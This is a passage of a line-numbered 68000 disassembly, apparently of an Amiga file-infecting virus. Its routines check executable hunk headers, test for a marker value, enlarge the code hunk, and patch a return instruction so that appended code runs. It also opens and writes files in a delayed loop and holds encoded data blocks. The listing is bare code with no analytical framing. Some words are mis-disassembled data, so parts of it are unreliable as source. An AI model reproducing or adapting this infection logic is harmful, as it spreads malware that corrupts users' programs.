  2417.     BNE.S    LAB_012F        ;14CA: 66CA
  2418.     MOVE.L    12(A5),D0        ;14CC: 202D000C
  2419.     SUB.L    16(A5),D0        ;14D0: 90AD0010
  2420.     CMP.L    #$00000005,D0        ;14D4: B0BC00000005
  2421.     BLE.S    LAB_012F        ;14DA: 6FBA
  2422.     MOVE.L    D7,D1            ;14DC: 2207
  2423.     MOVE.L    A5,D2            ;14DE: 240D
  2424.     JSR    -102(A6)        ;14E0: 4EAEFF9A
  2425.     TST.L    D0            ;14E4: 4A80
  2426.     BEQ.S    LAB_012F        ;14E6: 67AE
  2427.     TST    116(A5)            ;14E8: 4A6D0074
  2428.     BNE.S    LAB_012F        ;14EC: 66A8
  2429.     CMPI.L    #$0001E848,124(A5)    ;14EE: 0CAD0001E848007C
  2430.     BHI.S    LAB_012F        ;14F6: 629E
  2431.     BSR.S    LAB_012F        ;14F8: 619C
  2432.     MOVE.L    124(A5),D0        ;14FA: 202D007C
  2433.     MOVEA.L    (ABSEXECBASE).W,A6    ;14FE: 2C780004
  2434.     BSR    LAB_0126        ;1502: 6100FEBC
  2435.     BEQ.S    LAB_0131        ;1506: 6716
  2436.     MOVE.L    D0,D7            ;1508: 2E00
  2437.     DC.W    $2C7A            ;150A
  2438.     DC.W    $0370            ;150C
  2439.     DC.W    $223A            ;150E
  2440.     BCLR    D1,D4            ;1510: 0384
  2441.     MOVE.L    #$000003ED,D2        ;1512: 243C000003ED
  2442.     JSR    -30(A6)            ;1518: 4EAEFFE2
  2443.     TST.L    D0            ;151C: 4A80
  2444. LAB_0131:
  2445.     BEQ    LAB_0136        ;151E: 6700008C
  2446.     MOVE.L    D0,D6            ;1522: 2C00
  2447.     MOVE.L    D0,D1            ;1524: 2200
  2448.     MOVE.L    D7,D2            ;1526: 2407
  2449.     MOVEA.L    LAB_0153(PC),A5        ;1528: 2A7A028C
  2450.     MOVE.L    124(A5),D3        ;152C: 262D007C
  2451.     JSR    -42(A6)            ;1530: 4EAEFFD6
  2452.     CMP.L    124(A5),D0        ;1534: B0AD007C
  2453.     BEQ.S    LAB_0134        ;1538: 670A
  2454.     BRA.S    LAB_0135        ;153A: 6042
  2455. LAB_0132:
  2456.     MOVE.L    D7,D2            ;153C: 2407
  2457. LAB_0133:
  2458.     MOVE.L    D6,D1            ;153E: 2206
  2459.     JMP    -48(A6)            ;1540: 4EEEFFD0
  2460. LAB_0134:
  2461.     MOVE.L    D6,D1            ;1544: 2206
  2462.     CLR.L    D2            ;1546: 4282
  2463.     MOVEQ    #-1,D3            ;1548: 76FF
  2464.     JSR    -66(A6)            ;154A: 4EAEFFBE
  2465.     BSR.S    LAB_0137        ;154E: 6166
  2466.     BNE.S    LAB_0135        ;1550: 662C
  2467.     DC.W    $263A            ;1552
  2468.     BCHG    D1,D4            ;1554: 0344
  2469.     BSR.S    LAB_0132        ;1556: 61E4
  2470.     BSR    LAB_0124        ;1558: 6100FE44
  2471.     LEA    LAB_0123(PC),A0        ;155C: 41FAFE32
  2472.     MOVE.L    A0,D2            ;1560: 2408
  2473.     MOVE.L    #$000004EC,D3        ;1562: 263C000004EC
  2474.     BSR.S    LAB_0133        ;1568: 61D4
  2475.     MOVE.L    D7,D2            ;156A: 2407
  2476.     MOVE.L    124(A5),D3        ;156C: 262D007C
  2477.     DC.W    $96BA            ;1570
  2478.     BTST    D1,-(A6)        ;1572: 0326
  2479.     DC.W    $D4BA            ;1574
  2480.     BTST    D1,-(A2)        ;1576: 0322
  2481.     BSR.S    LAB_0133        ;1578: 61C4
  2482.     BSR    LAB_0124        ;157A: 6100FE22
  2483. LAB_0135:
  2484.     MOVE.L    D6,D1            ;157E: 2206
  2485.     JSR    -36(A6)            ;1580: 4EAEFFDC
  2486.     DC.W    $2C7A            ;1584
  2487.     DC.W    $02F6            ;1586
  2488.     MOVEA.L    LAB_0153(PC),A5        ;1588: 2A7A022C
  2489.     MOVE    #$FAB4,116(A5)        ;158C: 3B7CFAB40074
  2490.     MOVE.L    116(A5),D2        ;1592: 242D0074
  2491.     DC.W    $223A            ;1596
  2492.     DC.W    $02FC            ;1598
  2493.     JSR    -186(A6)        ;159A: 4EAEFF46
  2494.     LEA    132(A5),A0        ;159E: 41ED0084
  2495.     DC.W    $223A            ;15A2
  2496.     DC.W    $02F0            ;15A4
  2497.     MOVE.L    A0,D2            ;15A6: 2408
  2498.     JMP    -396(A6)        ;15A8: 4EEEFE74
  2499. LAB_0136:
  2500.     MOVEA.L    (ABSEXECBASE).W,A6    ;15AC: 2C780004
  2501.     MOVEA.L    D7,A1            ;15B0: 2247
  2502.     JMP    -690(A6)        ;15B2: 4EEEFD4E
  2503. LAB_0137:
  2504.     MOVEA.L    D7,A0            ;15B6: 2047
  2505.     CMPI    #$03F3,2(A0)        ;15B8: 0C6803F30002
  2506.     BEQ.S    LAB_013A        ;15BE: 6704
  2507. LAB_0138:
  2508.     MOVEQ    #-1,D0            ;15C0: 70FF
  2509. LAB_0139:
  2510.     RTS                ;15C2: 4E75
  2511. LAB_013A:
  2512.     MOVE.L    8(A0),D0        ;15C4: 20280008
  2513.     ADDQ.L    #5,D0            ;15C8: 5A80
  2514.     LSL.L    #2,D0            ;15CA: E588
  2515.     CMPI    #$03E9,2(A0,D0.L)    ;15CC: 0C7003E90802
  2516.     BNE.S    LAB_0139        ;15D2: 66EE
  2517.     MOVE.L    4(A0,D0.L),D1        ;15D4: 22300804
  2518.     CMP.L    20(A0),D1        ;15D8: B2A80014
  2519.     BNE.S    LAB_0138        ;15DC: 66E2
  2520.     ADDI.L    #$0000013B,20(A0)    ;15DE: 06A80000013B0014
  2521.     ADDI.L    #$0000013B,4(A0,D0.L)    ;15E6: 06B00000013B0804
  2522.     LSL.L    #2,D1            ;15EE: E589
  2523.     ADD.L    D1,D0            ;15F0: D081
  2524.     ADDQ.L    #8,D0            ;15F2: 5080
  2525.     DC.W    $43FA            ;15F4
  2526.     ANDI.L    #$2280D1C0,-(A2)    ;15F6: 02A22280D1C0
  2527.     CMPI.L    #$54525369,-1184(A0)    ;15FC: 0CA854525369FB60
  2528.     BEQ.S    LAB_0138        ;1604: 67BA
  2529.     MOVEQ    #-1,D2            ;1606: 74FF
  2530.     MOVEQ    #62,D0            ;1608: 703E
  2531. LAB_013B:
  2532.     CMPI    #$4E75,-(A0)        ;160A: 0C604E75
  2533.     BEQ.S    LAB_013D        ;160E: 6708
  2534. LAB_013C:
  2535.     DBF    D0,LAB_013B        ;1610: 51C8FFF8
  2536.     TST.L    D2            ;1614: 4A82
  2537.     RTS                ;1616: 4E75
  2538. LAB_013D:
  2539.     MOVEQ    #124,D1            ;1618: 727C
  2540.     LSL.L    #1,D0            ;161A: E388
  2541.     SUB.L    D0,D1            ;161C: 9280
  2542.     BNE.S    LAB_013E        ;161E: 6606
  2543.     MOVE    #$4E71,(A0)        ;1620: 30BC4E71
  2544.     BRA.S    LAB_013F        ;1624: 6008
  2545. LAB_013E:
  2546.     MOVE.B    #$60,(A0)        ;1626: 10BC0060
  2547.     MOVE.B    D1,1(A0)        ;162A: 11410001
  2548. LAB_013F:
  2549.     MOVEQ    #0,D2            ;162E: 7400
  2550.     LSR.L    #1,D0            ;1630: E288
  2551.     BRA.S    LAB_013C        ;1632: 60DC
  2552. LAB_0140:
  2553.     ORI.B    #$10,D0            ;1634: 00000010
  2554.     ORI.B    #$00,D0            ;1638: 00000000
  2555. LAB_0141:
  2556.     BSR.S    LAB_0142        ;163C: 611C
  2557.     DC.W    $2C7A            ;163E
  2558.     DC.W    $023C            ;1640
  2559.     LEA    LAB_0156(PC),A1        ;1642: 43FA0194
  2560.     MOVE.L    A1,D1            ;1646: 2209
  2561.     MOVEQ    #-2,D2            ;1648: 74FE
  2562.     JSR    -84(A6)            ;164A: 4EAEFFAC
  2563.     MOVE.L    D0,D1            ;164E: 2200
  2564.     BEQ.S    LAB_0143        ;1650: 6710
  2565.     JSR    -90(A6)            ;1652: 4EAEFFA6
  2566.     BRA    LAB_0145        ;1656: 600000AE
  2567. LAB_0142:
  2568.     DC.W    $4BFA            ;165A
  2569.     ANDI    #$4695,(A0)        ;165C: 02504695
  2570.     RTS                ;1660: 4E75
  2571. LAB_0143:
  2572.     MOVEA.L    (ABSEXECBASE).W,A6    ;1662: 2C780004
  2573.     LEA    LAB_0155(PC),A1        ;1666: 43FA015E
  2574.     CLR    234(A1)            ;166A: 426900EA
  2575.     MOVEQ    #3,D0            ;166E: 7003
  2576.     JSR    -552(A6)        ;1670: 4EAEFDD8
  2577.     TST.L    D0            ;1674: 4A80
  2578.     BEQ    LAB_0145        ;1676: 6700008E
  2579.     LEA    LAB_0158(PC),A0        ;167A: 41FA0162
  2580.     MOVE.L    D0,190(A0)        ;167E: 214000BE
  2581.     MOVEA.L    D0,A6            ;1682: 2C40
  2582.     JSR    -210(A6)        ;1684: 4EAEFF2E
  2583.     TST.L    D0            ;1688: 4A80
  2584.     BEQ.S    LAB_0144        ;168A: 676E
  2585.     DC.W    $41FA            ;168C
  2586.     DC.W    $0212            ;168E
  2587.     MOVE.L    D0,(A0)            ;1690: 2080
  2588.     MOVEA.L    D0,A5            ;1692: 2A40
  2589.     MOVE.L    8(A5),D0        ;1694: 202D0008
  2590.     MOVEQ    #1,D1            ;1698: 7201
  2591.     MOVEQ    #0,D2            ;169A: 7400
  2592.     MOVEA.L    16(A5),A1        ;169C: 226D0010
  2593.     MOVEA.L    (A1),A1            ;16A0: 2251
  2594.     MOVE.L    (A1),-28(A0)        ;16A2: 2151FFE4
  2595.     JSR    -30(A6)            ;16A6: 4EAEFFE2
  2596.     DC.W    $41FA            ;16AA
  2597.     BSET    D0,(A4)            ;16AC: 01D4
  2598.     MOVE.L    D0,36(A0)        ;16AE: 21400024
  2599.     ADDQ.L    #1,D0            ;16B2: 5280
  2600.     BEQ.S    LAB_0144        ;16B4: 6744
  2601.     SUBQ.L    #1,D0            ;16B6: 5380
  2602.     MOVEQ    #16,D1            ;16B8: 7210
  2603.     JSR    -54(A6)            ;16BA: 4EAEFFCA
  2604.     TST.L    D0            ;16BE: 4A80
  2605.     BNE.S    LAB_0144        ;16C0: 6638
  2606.     BSR    LAB_014B        ;16C2: 61000082
  2607.     MOVE.L    D0,-(A7)        ;16C6: 2F00
  2608.     DC.W    $203A            ;16C8
  2609.     BSET    D0,(A2)+        ;16CA: 01DA
  2610.     MOVEQ    #2,D1            ;16CC: 7202
  2611.     JSR    -84(A6)            ;16CE: 4EAEFFAC
  2612.     DC.W    $203A            ;16D2
  2613.     BSET    D0,(A0)            ;16D4: 01D0
  2614.     JSR    -120(A6)        ;16D6: 4EAEFF88
  2615.     MOVE.L    (A7)+,D0        ;16DA: 201F
  2616.     BNE.S    LAB_0144        ;16DC: 661C
  2617.     DC.W    $2C7A            ;16DE
  2618.     BCLR    D0,(A4)+        ;16E0: 019C
  2619.     LEA    LAB_0156(PC),A1        ;16E2: 43FA00F4
  2620.     MOVE.L    A1,D1            ;16E6: 2209
  2621.     MOVE.L    #$000003EE,D2        ;16E8: 243C000003EE
  2622.     JSR    -30(A6)            ;16EE: 4EAEFFE2
  2623.     MOVE.L    D0,D1            ;16F2: 2200
  2624.     BEQ.S    LAB_0144        ;16F4: 6704
  2625.     JSR    -36(A6)            ;16F6: 4EAEFFDC
  2626. LAB_0144:
  2627.     MOVEA.L    (ABSEXECBASE).W,A6    ;16FA: 2C780004
  2628.     DC.W    $227A            ;16FE
  2629.     BCLR    D0,(A4)+        ;1700: 019C
  2630.     JSR    -414(A6)        ;1702: 4EAEFE62
  2631. LAB_0145:
  2632.     BSR    LAB_0142        ;1706: 6100FF52
  2633.     DC.W    $2C7A            ;170A
  2634.     DC.W    $0170            ;170C
  2635.     MOVE.L    #$00007530,D1        ;170E: 223C00007530
  2636.     JSR    -198(A6)        ;1714: 4EAEFF3A
  2637.     BRA    LAB_0141        ;1718: 6000FF22
  2638. LAB_0146:
  2639.     MOVE.L    #$000001FF,D1        ;171C: 223C000001FF
  2640. LAB_0147:
  2641.     DC.W    $203A            ;1722
  2642.     BCLR    D0,D0            ;1724: 0180
  2643.     MOVEQ    #0,D2            ;1726: 7400
  2644.     RTS                ;1728: 4E75
  2645. LAB_0148:
  2646.     MOVEA.L    LAB_0153(PC),A0        ;172A: 207A008A
  2647.     BSR.S    LAB_0146        ;172E: 61EC
  2648.     JSR    -78(A6)            ;1730: 4EAEFFB2
  2649. LAB_0149:
  2650.     ADDQ.L    #1,D0            ;1734: 5280
  2651.     RTS                ;1736: 4E75
  2652. LAB_014A:
  2653.     BSR.S    LAB_0147        ;1738: 61E8
  2654.     ANDI.L    #$000000FF,D1        ;173A: 0281000000FF
  2655.     JSR    -66(A6)            ;1740: 4EAEFFBE
  2656.     BRA.S    LAB_0149        ;1744: 60EE
  2657. LAB_014B:
  2658.     MOVEQ    #0,D1            ;1746: 7200
  2659.     MOVEA.L    LAB_0153(PC),A0        ;1748: 207A006C
  2660.     BSR.S    LAB_014A        ;174C: 61EA
  2661.     BEQ.S    LAB_0150        ;174E: 6752
  2662.     BSR.S    LAB_0148        ;1750: 61D8
  2663.     BEQ.S    LAB_0150        ;1752: 674E
  2664.     MOVE.L    #$32323000,D0        ;1754: 203C32323000
  2665.     BSR.S    LAB_0152        ;175A: 614E
  2666.     BNE.S    LAB_0150        ;175C: 6644
  2667.     LEA    LAB_015A+1(PC),A0    ;175E: 41FA0097
  2668. LAB_014C:
  2669.     LEA    LAB_0159(PC),A1        ;1762: 43FA008C
  2670.     CLR.L    D1            ;1766: 4281
  2671.     MOVE    192(A1),D1        ;1768: 322900C0
  2672.     MOVE.B    0(A1,D1.W),D1        ;176C: 12311000
  2673.     MOVEA.L    A0,A2            ;1770: 2448
  2674.     ADDA.L    D1,A2            ;1772: D5C1
  2675.     MOVE.L    A2,-(A7)        ;1774: 2F0A
  2676.     ADDQ    #1,192(A1)        ;1776: 526900C0
  2677.     BSR.S    LAB_014A        ;177A: 61BC
  2678.     BEQ.S    LAB_014F        ;177C: 6722
  2679.     DC.W    $323A            ;177E
  2680.     DC.W    $0130            ;1780
  2681.     CMP    #$0006,D1        ;1782: B27C0006
  2682.     BGE.S    LAB_014D        ;1786: 6C06
  2683.     CMP    #$0005,D1        ;1788: B27C0005
  2684.     BGE.S    LAB_014E        ;178C: 6C04
  2685. LAB_014D:
  2686.     BSR.S    LAB_0148        ;178E: 619A
  2687.     BEQ.S    LAB_014F        ;1790: 670E
  2688. LAB_014E:
  2689.     MOVEA.L    (A7)+,A0        ;1792: 205F
  2690.     DC.W    $343A            ;1794
  2691.     BTST    D0,(A2)+        ;1796: 011A
  2692.     CMP    #$0007,D2        ;1798: B47C0007
  2693.     BNE.S    LAB_014C        ;179C: 66C4
  2694.     BRA.S    LAB_0151        ;179E: 6006
  2695. LAB_014F:
  2696.     ADDQ.L    #4,A7            ;17A0: 588F
  2697. LAB_0150:
  2698.     MOVEQ    #-1,D0            ;17A2: 70FF
  2699.     RTS                ;17A4: 4E75
  2700. LAB_0151:
  2701.     MOVEQ    #0,D0            ;17A6: 7000
  2702.     RTS                ;17A8: 4E75
  2703. LAB_0152:
  2704.     MOVEA.L    LAB_0153(PC),A0        ;17AA: 207A000A
  2705.     CLR.B    3(A0)            ;17AE: 42280003
  2706.     CMP.L    (A0),D0            ;17B2: B090
  2707.     RTS                ;17B4: 4E75
  2708. LAB_0153:
  2709.     ORI    #$305C,(A7)+        ;17B6: 005F305C
  2710. LAB_0154:
  2711.     DC.W    $646F            ;17BA
  2712.     DC.W    $732E            ;17BC
  2713.     DC.W    $6C69            ;17BE
  2714.     BHI.S    LAB_015B        ;17C0: 6272
  2715.     BSR.S    LAB_015C        ;17C2: 6172
  2716.     DC.W    $7900            ;17C4
  2717. LAB_0155:
  2718.     ADDA    A5,A4            ;17C6: D8CD
  2719.     ADDA    A5,A7            ;17C8: DECD
  2720.     ADDA.L    (A5)+,A2        ;17CA: D5DD
  2721.     ADDA.L    (A3)+,A0        ;17CC: D1DB
  2722.     AND.L    (A0),D7            ;17CE: CE90
  2723.     ADDA    (A7),A3            ;17D0: D6D7
  2724.     ADDA    A4,A4            ;17D2: D8CC
  2725.     ADDA.L    A4,A5            ;17D4: DBCC
  2726.     DC.W    $C3BE            ;17D6
  2727. LAB_0156:
  2728.     ASL.L    #4,D4            ;17D8: E984
  2729. LAB_0157:
  2730.     ASR    -66(A7,A7.L)        ;17DA: E0F7F8BE
  2731. LAB_0158:
  2732.     ADDA    (A7),A3            ;17DE: D6D7
  2733.     ADDA    A2,A2            ;17E0: D4CA
  2734.     ADDA.L    A3,A7            ;17E2: DFCB
  2735.     MULU    (A1),D7            ;17E4: CED1
  2736.     SUBA    A2,A2            ;17E6: 94CA
  2737.     ADDA.L    A3,A7            ;17E8: DFCB
  2738.     MULU    (A1),D7            ;17EA: CED1
  2739.     SUBA    (A2)+,A2        ;17EC: 94DA
  2740.     DC.W    $DFBE            ;17EE
  2741. LAB_0159:
  2742.     CMP.L    -25672(A6),D2        ;17F0: B4AE9BB8
  2743.     DC.W    $8FBB            ;17F4
  2744. LAB_015A:
  2745.     DC.W    $BCF6            ;17F6
  2746.     DC.W    $FFF2            ;17F8
  2747.     DC.W    $F59E            ;17FA
  2748.     DC.W    $CECC            ;17FC
  2749.     MULS    (A7),D4            ;17FE: C9D7
  2750.     SUBA    (A2)+,A2        ;1800: 94DA
  2751.     DC.W    $DFB3            ;1802
  2752.     DC.W    $B0F3            ;1804
  2753.     DC.W    $FBF7            ;1806
  2754.     DC.W    $F69E            ;1808
  2755.     DC.W    $FCEC            ;180A
  2756.     DC.W    $F5F3            ;180C
  2757.     OR.L    D2,D0            ;180E: 8082
  2758.     ADDA.L    (A3)+,A3        ;1810: D7DB
  2759.     OR.L    -20(A3,A3.W),D2        ;1812: 84B3B0EC
  2760.     DC.W    $F9EE            ;1816
  2761.     ROR.L    #7,D6            ;1818: EE9E
  2762.     DC.W    $EEF1            ;181A
  2763.     OR.L    D2,D0            ;181C: 8082
  2764.     MULU    (A7),D6            ;181E: CCD7
  2765.     DC.W    $C8CB            ;1820
  2766.     DC.W    $C9C9            ;1822
  2767.     ADDA.L    A4,A2            ;1824: D5CC
  2768.     ADDA.L    A5,A0            ;1826: D1CD
  2769.     ADDA    (A1),A1            ;1828: D2D1
  2770.     DC.W    $CAFE            ;182A
  2771.     DC.W    $CECC            ;182C
  2772.     MULS    (A7),D4            ;182E: C9D7
  2773.     SUBA    (A2)+,A2        ;1830: 94DA
  2774.     ADDX.L    D0,D7            ;1832: DF80
  2775. LAB_015B:
  2776.     DC.W    $B7B4            ;1834
  2777. LAB_015C:
  2778.     DC.W    $FEFF            ;1836
  2779.     DC.W    $EEFF            ;1838
  2780.     DC.W    $B7B4            ;183A
  2781.     DC.W    $FBD0            ;183C
  2782.     ADDA.L    A2,A2            ;183E: D5CA
  2783.     ADDA    (A3)+,A1        ;1840: D2DB
  2784.     AND.L    (A6)+,D4        ;1842: C89E
  2785.     OR.L    D5,(A6)+        ;1844: 8B9E
  2786.     ADDA    (A7),A4            ;1846: D8D7
  2787.     MULU    (A3)+,D7        ;1848: CEDB
  2788.     AND.L    D4,(A6)+        ;184A: C99E
  2789.     MULU    (A6),D7            ;184C: CED6
  2790.     ADD.L    D7,(A6)+        ;184E: DF9E
  2791.     ADDA    A3,A7            ;1850: DECB
  2792.     DC.W    $C9CA            ;1852
  2793.     SUB.L    D5,(A7)+        ;1854: 9B9F
  2794.     SUBA    EXT_0004,A5        ;1856: 9AF9C8DBDFCA
  2795.     AND.L    (A6)+,D0        ;185C: C09E
  2796.     MULU    (A1),D7            ;185E: CED1
  2797.     SUBA    #$FFF1,A5        ;1860: 9AFCFFF1
  2798.     DC.W    $F69E            ;1864
  2799.     ADDA.L    (A0),A5            ;1866: DBD0
  2800.     ADD.L    (A6)+,D7        ;1868: DE9E
  2801.     DC.W    $F8F1            ;186A
  2802.     DC.W    $F1F1            ;186C
  2803.     ROXR.L    D4,D3            ;186E: E8B3
  2804.     CMP.L    -112(A3,A3.W),D0    ;1870: B0B3B090
  2805.     DC.W    $B7B4            ;1874
  2806.     DC.W    $EBEB            ;1876
  2807.     DC.W    $F3EA            ;1878
  2808.     DC.W    $B7B4            ;187A
  2809.     END
  2810.